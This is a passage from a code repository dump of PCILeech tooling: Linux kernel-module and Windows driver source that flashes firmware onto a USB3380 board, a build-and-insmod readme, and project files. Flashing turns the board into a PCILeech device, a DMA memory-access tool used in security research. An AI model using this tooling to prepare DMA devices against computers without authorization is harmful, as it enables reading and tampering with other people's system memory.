OFFSET_PCIREG_SUBSYS) != 0x338010B5) {\n\t\treturn -2;\n\t}\n\tif(*(unsigned int*)(pbar0 + OFFSET_PCIREG_VEN_DEV) != 0x338010B5 && *(unsigned int*)(pbar0 + OFFSET_PCIREG_VEN_DEV) != 0x16BC14E4) {\n\t\treturn -2;\n\t}\n\t// 2: check if EEPROM exists\n\tif((*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL) & 0x00030000) == 0) {\n\t\treturn -3;\n\t}\n\t// 4: is firmware already flashed?\n\tif(0 == _action_flash_verify(pbar0)) {\n\t\tSET_LED(0xf); // success -> blue+red led\n\t\treturn 0;\n\t}\n\t// 4: flash firmware.\n\t_action_flash_write(pbar0);\n\t// 5: verify flashed firmware.\n\tif(0 == _action_flash_verify(pbar0)) {\n\t\tSET_LED(0x8); // success -> blue led\n\t\treturn 0;\n\t}\n\tSET_LED(0x7); // fail -> red led\n\treturn -1;\n}\n\n// -----------------------------------------------------------------------------\n// END SHARED CODE WITH WINDOWS/LINUX FLASH PCILEECH FIRMWARE\n// -----------------------------------------------------------------------------\n\nstatic int _action_flash_2(struct pci_dev *pdev)\n{\n\tint ret;\n\tunsigned char *pbar0;\n\t// enable the device\n\tif((ret = pci_enable_device(pdev))) {\n\t\tprintk(KERN_ERR \"PCILEECH FLASH: ERROR: Failed to enable PCIe device.\\n\");\n\t\treturn ret;\n\t}\n\t// take ownership of pci related regions\n\tif((ret = pci_request_regions(pdev, \"expdev\"))) {\n\t\tprintk(KERN_ERR \"PCILEECH FLASH: ERROR: Cannot request regions.\\n\");\n\t\tgoto error;\n\t}\n\t// checking if PCI-device reachable by checking that BAR0 is defined and memory mapped\n\tif(!(pci_resource_flags(pdev, 0) & IORESOURCE_MEM)) {\n\t\tprintk(KERN_ERR \"PCILEECH FLASH: ERROR: BAR0 configuration not found.\\n\");\n\t\tgoto error;\n\t}\n\t// remap BAR0 avoiding the use of CPU cache\n\tpbar0 = ioremap_nocache(pci_resource_start(pdev, 0), pci_resource_len(pdev, 0));\n\tret = _action_flash_writeverify(pbar0);\n\tif(ret) {\n\t\t// try force 1-byte addressing and make another flash attempt.\n\t\t*(unsigned char*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL + 2) =\n\t\t0x60 | (0x1f & *(unsigned char*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL + 2));\n\t\tret = _action_flash_writeverify(pbar0);\n\t}\n\tif(ret) {\n\t\t// try force 2-byte addressing and make another flash attempt.\n\t\t*(unsigned char*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL + 2) =\n\t\t  0xa0 | (0x1f & *(unsigned char*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL + 2));\n\t\tret = _action_flash_writeverify(pbar0); \n\t}\n\tiounmap(pbar0);\n\tif(ret) {\n\t\tprintk(KERN_ERR \"PCILEECH FLASH: ERROR: Firmware write/verify not successful. Error: %08x\\n\", ret);\n\t} else {\n\t\tprintk(KERN_ERR \"PCILEECH FLASH: SUCCESSFUL: Please re-insert the device to use as a PCILeech device!\\n\");\n\t}\nerror:\n\tpci_release_regions(pdev);\n\tpci_disable_device(pdev);\n\treturn ret ? -ENODEV : 0;\n}\n\nstatic int _action_flash_1(void) {\n\tint ret;\n\tbool is_dev_found = false;\n\tstruct pci_dev *pdev = NULL;\n\t// retrieve compatible devices\n\twhile((pdev = pci_get_device(0x14e4, 0x16bc, pdev))) {\n\t\tprintk(KERN_INFO \"PCILEECH FLASH: Found USB3380 already flashed as PCILeech.\\n\");\n\t\tret = _action_flash_2(pdev);\n\t\tis_dev_found = true;\n\t}\n\twhile((pdev = pci_get_device(0x10b5, 0x3380, pdev))) {\n\t\tprintk(KERN_INFO \"PCILEECH FLASH: Found USB3380 not flashed as PCILeech.\\n\");\n\t\tret = _action_flash_2(pdev);\n\t\tis_dev_found = true;\n\t}\n\tif(!is_dev_found) {\n\t\tprintk(KERN_ERR \"PCILEECH FLASH: ERROR: Device not found.\\n\");\n\t\treturn -ENODEV;\n\t}\n\treturn ret;\n}\n\nstatic int pcileech_flash_init(void) {\n\tprintk(KERN_INFO \"PCILEECH FLASH: Module init called.\\n\");\n\treturn _action_flash_1();\n}\n\nstatic void pcileech_flash_exit(void) {\n\tprintk(KERN_INFO \"PCILEECH FLASH: Module exit called.\\n\");\n}\n\nmodule_init(pcileech_flash_init);\nmodule_exit(pcileech_flash_exit);\n"
  },
  {
    "path": "usb3380_flash/linux/readme.md",
    "content": "Flashing Hardware in Linux:\n===============================\nIn order to turn the USB3380 development board into a PCILeech device it must be flashed. Flashing in Linux must be done as root. Download the source code for the flash kernel module to build. The files are found in the pcileech_flash/linux folder and are named: pcileech_flash.c and Makefile. The card must be connected to the Linux system doing the flashing via PCIe.\n\nNB! If flashing the PP3380 PCIe card the J3 jumper must be bridged to connect the EEPROM. This is not necessary for the USB3380-EVB mini-PCIe card.\n\n* ` cd /pathtofiles `\n* ` make `\n* [ insert USB3380 hardware into computer ]\n* ` insmod pcileech_flash.ko `\n\nThe insmod command must be run as root. If compilation fails you might have to install dependencies before you try again. On debian based systems - such as debian, ubuntu and kali, run ` apt-get update && apt-get install gcc make linux-headers-$(uname -r) ` and try again.\n\nIf module insertion is successful flashing is also successful. In order to activate the flashed PCILeech device it must be power-cycled. Re-inserting it in the computer will achieve this. If one wish to flash more devices then unload the pcileech_flash kernel module by issuing the command: ` rmmod pcileech_flash `. If there is an error flashing is unsuccessful. Please try again and check any debug error messages by issing the command: ` dmsg `.\n\nAlternative Flash using uflash:\n======================================\nIf the above method using a kernel module fails or isn't desirable you may also use the [uflash utility](https://github.com/ANSSI-FR/pciemem/tree/master/uflash) by Yves-Alexis Perez / ANSSI-FR. It must be run as root but should build without any special dependencies.\n"
  },
  {
    "path": "usb3380_flash/linux/readme_flash.txt",
    "content": "Please consult the documentation in pcileech_flash.c for more information.\n"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash/USB3380Flash.c",
    "content": "// installer.c : implementation of the PCILeech UMDF2 flash driver.\n//\n// (c) Ulf Frisk, 2016, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"USB3380Flash.h\"\n\n// -----------------------------------------------------------------------------\n// START SHARED CODE WITH WINDOWS/LINUX FLASH PCILEECH FIRMWARE\n// -----------------------------------------------------------------------------\n\n#define msleep\t\t\t\t\t\tSleep\n#define OFFSET_USBREG_GPIO\t\t\t0x50\n#define OFFSET_PCIREG_VEN_DEV\t\t0x1000\n#define OFFSET_PCIREG_SUBSYS\t\t0x102c\n#define OFFSET_PCIREG_EEPROM_CTL\t0x1260\n#define OFFSET_PCIREG_EEPROM_DATA\t0x1264\n#define DEVICE_WAIT_TIME\t\t\t10\n#define SET_LED(v)\t\t\t\t\t*(unsigned int*)(pbar0 + OFFSET_USBREG_GPIO) = (0x0000000f & v) | 0xf0\n\nstatic const unsigned char g_firmware_pcileech[] = {\n\t0x5a, 0x00, 0x2a, 0x00, 0x23, 0x10, 0x49, 0x38, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x14, 0xbc, 0x16,\n\t0xc8, 0x10, 0x02, 0x06, 0x04, 0x00, 0xd0, 0x10, 0x84, 0x06, 0x04, 0x00, 0xd8, 0x10, 0x86, 0x06,\n\t0x04, 0x00, 0xe0, 0x10, 0x88, 0x06, 0x04, 0x00, 0x21, 0x10, 0xd1, 0x18, 0x01, 0x90, 0x00, 0x00 };\n\nstatic int _action_flash_verify(unsigned char *pbar0)\n{\n\tunsigned int dwdata, dwaddr = 0;\n\twhile(dwaddr < sizeof(g_firmware_pcileech)) {\n\t\t// write to CTL register to start EEPROM read (and wait for device)\n\t\tdwdata = *(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL);\n\t\tdwdata = (0x00ff0000 & dwdata) | 0x00006000 | (dwaddr >> 2);\n\t\t*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL) = dwdata;\n\t\tmsleep(DEVICE_WAIT_TIME);\n\t\tif(*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_DATA) != *(unsigned int*)(g_firmware_pcileech + dwaddr)) {\n\t\t\treturn -1;\n\t\t}\n\t\tdwaddr += 4;\n\t}\n\treturn 0;\n}\n\nstatic void _action_flash_write(unsigned char *pbar0)\n{\n\tunsigned int dwdata, dwaddr = 0;\n\twhile(dwaddr < sizeof(g_firmware_pcileech)) {\n\t\t// write enable latch (and wait for device)\n\t\t*(unsigned char*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL + 1) = 0xc0;\n\t\tmsleep(DEVICE_WAIT_TIME);\n\t\t*(unsigned char*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL + 1) = 0x00;\n\t\tmsleep(DEVICE_WAIT_TIME);\n\t\t// write EEPROM data\n\t\tdwdata = *(unsigned int*)(g_firmware_pcileech + dwaddr);\n\t\t*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_DATA) = dwdata;\n\t\t// write to CTL register to start EEPROM write (and wait for device)\n\t\tdwdata = *(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL);\n\t\tdwdata = (0x00ff0000 & dwdata) | 0x03004000 | (dwaddr >> 2);\n\t\t*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL) = dwdata;\n\t\tmsleep(DEVICE_WAIT_TIME);\n\t\t// next DWORD\n\t\tdwaddr += 4;\n\t}\n}\n\nstatic int _action_flash_writeverify(unsigned char *pbar0)\n{\n\t// 1: check if this is a valid device / memory range.\n\tif(*(unsigned int*)(pbar0 + OFFSET_PCIREG_SUBSYS) != 0x338010B5) {\n\t\treturn -2;\n\t}\n\tif(*(unsigned int*)(pbar0 + OFFSET_PCIREG_VEN_DEV) != 0x338010B5 && *(unsigned int*)(pbar0 + OFFSET_PCIREG_VEN_DEV) != 0x16BC14E4) {\n\t\treturn -2;\n\t}\n\t// 2: check if EEPROM exists\n\tif((*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL) & 0x00030000) == 0) {\n\t\treturn -3;\n\t}\n\t// 4: is firmware already flashed?\n\tif(0 == _action_flash_verify(pbar0)) {\n\t\tSET_LED(0xf); // success -> blue+red led\n\t\treturn 0;\n\t}\n\t// 4: flash firmware.\n\t_action_flash_write(pbar0);\n\t// 5: verify flashed firmware.\n\tif(0 == _action_flash_verify(pbar0)) {\n\t\tSET_LED(0x8); // success -> blue led\n\t\treturn 0;\n\t}\n\tSET_LED(0x7); // fail -> red led\n\treturn -1;\n}\n\n// -----------------------------------------------------------------------------\n// END SHARED CODE WITH WINDOWS/LINUX FLASH PCILEECH FIRMWARE\n// -----------------------------------------------------------------------------\n\nNTSTATUS _EvtDevicePrepareHardware(_In_ WDFDEVICE Device, _In_ WDFCMRESLIST ResourcesRaw, _In_ WDFCMRESLIST ResourcesTranslated)\n{\n\tULONG i;\n\tNTSTATUS status;\n\tPBYTE BaseAddress;\n\tPVOID PseudoBaseAddress;\n\tPCM_PARTIAL_RESOURCE_DESCRIPTOR desc;\n\tUNREFERENCED_PARAMETER(ResourcesTranslated);\n\tfor(i = 0; i < WdfCmResourceListGetCount(ResourcesRaw); i++) {\n\t\tdesc = WdfCmResourceListGetDescriptor(ResourcesRaw, i);\n\t\tif(desc->Type != CmResourceTypeMemory || desc->u.Generic.Length != 0x2000) {\n\t\t\tcontinue;\n\t\t}\n\t\tstatus = WdfDeviceMapIoSpace(Device, desc->u.Generic.Start, desc->u.Generic.Length, MmNonCached, &PseudoBaseAddress);\n\t\tif(NT_ERROR(status)) {\n\t\t\tcontinue;\n\t\t}\n\t\tBaseAddress = (PBYTE)WdfDeviceGetHardwareRegisterMappedAddress(Device, PseudoBaseAddress);\n\t\tstatus = _action_flash_writeverify(BaseAddress);\n\t\tif(status) {\n\t\t\t// try force 1-byte addressing and make another flash attempt.\n\t\t\t*(unsigned char*)(BaseAddress + OFFSET_PCIREG_EEPROM_CTL + 2) =\n\t\t\t\t0x60 | (0x1f & *(unsigned char*)(BaseAddress + OFFSET_PCIREG_EEPROM_CTL + 2));\n\t\t\tstatus = _action_flash_writeverify(BaseAddress);\n\t\t}\n\t\tif(status) {\n\t\t\t// try force 2-byte addressing and make another flash attempt.\n\t\t\t*(unsigned char*)(BaseAddress + OFFSET_PCIREG_EEPROM_CTL + 2) =\n\t\t\t\t0xa0 | (0x1f & *(unsigned char*)(BaseAddress + OFFSET_PCIREG_EEPROM_CTL + 2));\n\t\t\tstatus = _action_flash_writeverify(BaseAddress);\n\t\t}\n\t\tWdfDeviceUnmapIoSpace(Device, PseudoBaseAddress, desc->u.Generic.Length);\n\t\treturn (status == 0) ? STATUS_SUCCESS : STATUS_DEVICE_CONFIGURATION_ERROR;\n\t}\n\treturn STATUS_BAD_DEVICE_TYPE;\n}\n\nNTSTATUS _EvtDeviceAdd(_In_ WDFDRIVER Driver, _Inout_ PWDFDEVICE_INIT DeviceInit)\n{\n\tWDFDEVICE device;\n\tWDF_PNPPOWER_EVENT_CALLBACKS pnpPowerCallbacks;\n\tUNREFERENCED_PARAMETER(Driver);\n\tWDF_PNPPOWER_EVENT_CALLBACKS_INIT(&pnpPowerCallbacks);\n\tpnpPowerCallbacks.EvtDevicePrepareHardware = _EvtDevicePrepareHardware;\n\tWdfDeviceInitSetPnpPowerEventCallbacks(DeviceInit, &pnpPowerCallbacks);\n\treturn WdfDeviceCreate(&DeviceInit, WDF_NO_OBJECT_ATTRIBUTES, &device);\n}\n\nNTSTATUS _EvtDeviceAdd_FlashDisable(_In_ WDFDRIVER Driver, _Inout_ PWDFDEVICE_INIT DeviceInit)\n{\n\tUNREFERENCED_PARAMETER(Driver);\n\tUNREFERENCED_PARAMETER(DeviceInit);\n\treturn STATUS_SUCCESS;\n}\n\nNTSTATUS DriverEntry(_In_ PDRIVER_OBJECT  DriverObject, _In_ PUNICODE_STRING RegistryPath)\n{\n\tNTSTATUS status;\n\tWDF_DRIVER_CONFIG config;\n\tWDFKEY regKey;\n\tULONG regDisable = 0;\n\tUNICODE_STRING usDisable;\n\t// check if flash disable reg entry is set\n\tRtlInitUnicodeString(&usDisable, L\"disable\");\n\tstatus = WdfRegistryOpenKey(NULL, RegistryPath, GENERIC_READ, NULL, &regKey);\n\tif(NT_SUCCESS(status)) {\n\t\tWdfRegistryQueryULong(regKey, &usDisable, &regDisable);\n\t\tWdfRegistryClose(regKey);\n\t}\n\t// initialize driver\n\tif(regDisable == 1) {\n\t\tWDF_DRIVER_CONFIG_INIT(&config, _EvtDeviceAdd_FlashDisable);\n\t} else {\n\t\tWDF_DRIVER_CONFIG_INIT(&config, _EvtDeviceAdd);\n\t}\n\treturn WdfDriverCreate(DriverObject,\n\t\tRegistryPath,\n\t\tWDF_NO_OBJECT_ATTRIBUTES,\n\t\t&config,\n\t\tWDF_NO_HANDLE\n\t);\n}\n"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash/USB3380Flash.h",
    "content": "// USB3380Flash.h : header for PCILeech UMDF2 flash driver.\n//\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include <windows.h>\n#include <wdf.h>\n\nEXTERN_C_START\n\nDRIVER_INITIALIZE DriverEntry;\n\nEXTERN_C_END\n"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash/USB3380Flash.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n</Project>"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash/USB3380Flash.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"ReleaseMT|x64\">\n      <Configuration>ReleaseMT</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"USB3380Flash.c\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"USB3380Flash.h\" />\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{E11BECC1-685F-41B9-A352-A6127FAB3758}</ProjectGuid>\n    <TemplateGuid>{32909489-7be5-497b-aafa-db6669d9b44b}</TemplateGuid>\n    <MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>\n    <Configuration>Debug</Configuration>\n    <Platform Condition=\"'$(Platform)' == ''\">Win32</Platform>\n    <RootNamespace>PCILeechFlash</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>\n    <ProjectName>USB3380Flash</ProjectName>\n  </PropertyGroup>\n  <PropertyGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <PlatformToolset>WindowsUserModeDriver10.0</PlatformToolset>\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <DriverTargetPlatform>Universal</DriverTargetPlatform>\n  </PropertyGroup>\n  <PropertyGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <PlatformToolset>WindowsUserModeDriver10.0</PlatformToolset>\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <DriverTargetPlatform>Universal</DriverTargetPlatform>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='ReleaseMT|x64'\" Label=\"PropertySheets\">\n    <PlatformToolset>WindowsUserModeDriver10.0</PlatformToolset>\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <DriverTargetPlatform>Universal</DriverTargetPlatform>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <UMDF_VERSION_MAJOR>2</UMDF_VERSION_MAJOR>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <UMDF_VERSION_MAJOR>2</UMDF_VERSION_MAJOR>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='ReleaseMT|x64'\" Label=\"Configuration\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <UMDF_VERSION_MAJOR>2</UMDF_VERSION_MAJOR>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <DebuggerFlavor>DbgengRemoteDebugger</DebuggerFlavor>\n    <OutDir>$(SolutionDir)\\files\\USB3380Flash\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n    <Inf2CatUseLocalTime>true</Inf2CatUseLocalTime>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <DebuggerFlavor>DbgengRemoteDebugger</DebuggerFlavor>\n    <OutDir>$(SolutionDir)\\files\\USB3380Flash\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n    <Inf2CatUseLocalTime>true</Inf2CatUseLocalTime>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='ReleaseMT|x64'\">\n    <DebuggerFlavor>DbgengRemoteDebugger</DebuggerFlavor>\n    <OutDir>$(SolutionDir)\\files\\USB3380Flash\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n    <Inf2CatUseLocalTime>true</Inf2CatUseLocalTime>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WppEnabled>false</WppEnabled>\n      <WppRecorderEnabled>true</WppRecorderEnabled>\n      <WppScanConfigurationData Condition=\"'%(ClCompile.ScanConfigurationData)' == ''\">trace.h</WppScanConfigurationData>\n    </ClCompile>\n    <Inf>\n      <TimeStamp>*</TimeStamp>\n    </Inf>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WppEnabled>false</WppEnabled>\n      <WppRecorderEnabled>true</WppRecorderEnabled>\n      <WppScanConfigurationData Condition=\"'%(ClCompile.ScanConfigurationData)' == ''\">trace.h</WppScanConfigurationData>\n    </ClCompile>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='ReleaseMT|x64'\">\n    <ClCompile>\n      <WppEnabled>false</WppEnabled>\n      <WppRecorderEnabled>true</WppRecorderEnabled>\n      <WppScanConfigurationData Condition=\"'%(ClCompile.ScanConfigurationData)' == ''\">trace.h</WppScanConfigurationData>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <FilesToPackage Include=\"$(TargetPath)\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Inf Include=\"USB3380Flash.inf\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash/USB3380Flash.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"Driver Files\">\n      <UniqueIdentifier>{8E41214B-6785-4CFE-B992-037D68949A14}</UniqueIdentifier>\n      <Extensions>inf;inv;inx;mof;mc;</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"USB3380Flash.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"USB3380Flash.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <Inf Include=\"USB3380Flash.inf\">\n      <Filter>Driver Files</Filter>\n    </Inf>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash/USB3380Flash.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup />\n</Project>"
  },
  {
    "path": "usb3380_flash/windows/USB3380Flash_Installer/USB3380Flash_Installer.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"ReleaseMT|x64\">\n      <Configuration>ReleaseMT</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{F2F4AA4A-BEFE-4738-9412-820007919334}</ProjectGuid>\n    <Keyword>Win32Proj</Keyword>\n    <RootNamespace>PCILeechFlash_Installer</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n    <ProjectName>USB3380Flash_installer</ProjectName>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='ReleaseMT|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='ReleaseMT|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n    <OutDir>$(SolutionDir)\\files\\USB3380Flash_installer\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n    <OutDir>$(SolutionDir)\\files\\USB3380Flash_installer\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='ReleaseMT|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n    <OutDir>$(SolutionDir)\\files\\USB3380Flash_installer\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <PrecompiledHeader>\n      </PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n   